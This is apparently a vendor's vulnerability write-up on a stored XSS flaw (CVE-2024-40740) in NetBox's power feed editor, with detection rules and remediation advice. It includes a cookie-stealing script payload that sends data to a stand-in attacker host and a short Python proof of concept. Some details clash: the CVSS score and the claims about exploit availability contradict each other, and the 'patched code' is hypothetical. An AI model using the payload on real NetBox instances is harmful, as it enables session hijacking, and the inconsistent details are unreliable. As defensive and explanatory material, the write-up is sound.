CVE-2024-40740
Executive Summary
CVE-2024-40740 is a stored Cross-Site Scripting (XSS) vulnerability in NetBox v4.0.3, specifically within the power feed editing interface at /dcim/power-feeds/{id}/edit/. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter, which is then stored and executed in the browsers of other users viewing the affected power feed. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No official patch or exploit code is publicly available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. However, organizations using NetBox should verify their deployment version and apply any available security updates from the vendor. The lack of a patch increases supply chain risk for unpatched instances.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the edited power feed)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can be used to target administrators or other privileged users.
Deep Dive & Mechanics
The vulnerability exists in the power feed editing form. The Name field is not properly sanitized or encoded before being stored in the database and later rendered in the web interface. When a user visits /dcim/power-feeds/{id}/edit/ or the detail view of a power feed, the malicious payload is executed in their browser context.
Root Cause: Lack of output encoding for the Name field in the template rendering the power feed details. The application uses Django templates, but the field is likely rendered with |safe filter or without proper escaping.
Attack Flow:
- Attacker authenticates to NetBox.
- Attacker navigates to
/dcim/power-feeds/{id}/edit/for an existing power feed. - Attacker injects a payload like
<script>alert('XSS')</script>into theNameparameter. - The payload is stored in the database.
- When any user (including admin) views the power feed, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# In views or template rendering, the Name field is not escaped
# Example template snippet:
{{ power_feed.name }}
Patched Code (Hypothetical):
# Properly escape the output
{{ power_feed.name|escape }}
No official patch exists. The fix would involve ensuring all user-supplied fields are properly escaped in templates.
Exploitation & Lab Setup
Red Team
Prerequisites:
- NetBox v4.0.3 instance
- Authenticated user with permissions to edit power feeds
Exploitation Steps:
- Log in to NetBox.
- Navigate to
/dcim/power-feeds/1/edit/(replace1with a valid ID). - In the
Namefield, inject a payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- When an admin views the power feed, the script executes and exfiltrates cookies.
Proof-of-Concept (Python script):
import requests
target = "http://netbox.local"
session = requests.Session()
# Authenticate first
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login/", data=login_data)
# Inject XSS payload
payload = {"name": "<script>alert('XSS')</script>"}
session.post(f"{target}/dcim/power-feeds/1/edit/", data=payload)
print("Payload injected")
Blue Team
Detection:
- Monitor for unusual
Namefield values containing<script>or event handlers. - Review logs for POST requests to
/dcim/power-feeds/*/edit/with suspicious parameters. - Use WAF rules to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding.
- Restrict edit permissions to trusted users only.
- Use Content Security Policy (CSP) headers to limit script execution.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/dcim/power-feeds/*/edit/withnameparameter containing<script>tags. - Logs: Application logs showing
namefield with HTML/JavaScript content. - File: No file-based IOCs; stored in database.
- Behavior: Unexpected JavaScript execution in NetBox interface.
Detection Engineering
YARA Rule
rule CVE_2024_40740_XSS {
meta:
description = "Detects XSS payload in NetBox power feed name field"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-40740"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: NetBox Power Feed XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in NetBox power feed name field
author: Valters IT
logsource:
category: web
product: netbox
detection:
selection:
http.method: POST
http.url: '/dcim/power-feeds/*/edit/'
http.body: '*<script*'
condition: selection
falsepositives:
- Legitimate use of HTML in name field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-40740 NetBox XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/dcim/power-feeds/"; http_uri; content:"/edit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict edit permissions for power feeds to only trusted administrators.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads.
- Monitor logs for suspicious activity.
Long-term Fix:
- Upgrade to a patched version when available.
- Apply output encoding to all user-supplied fields in templates.
- Conduct a security audit of all input fields.
Workaround:
- Manually sanitize the
Namefield in the database or application code. - Use Django's
escapefilter in templates.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.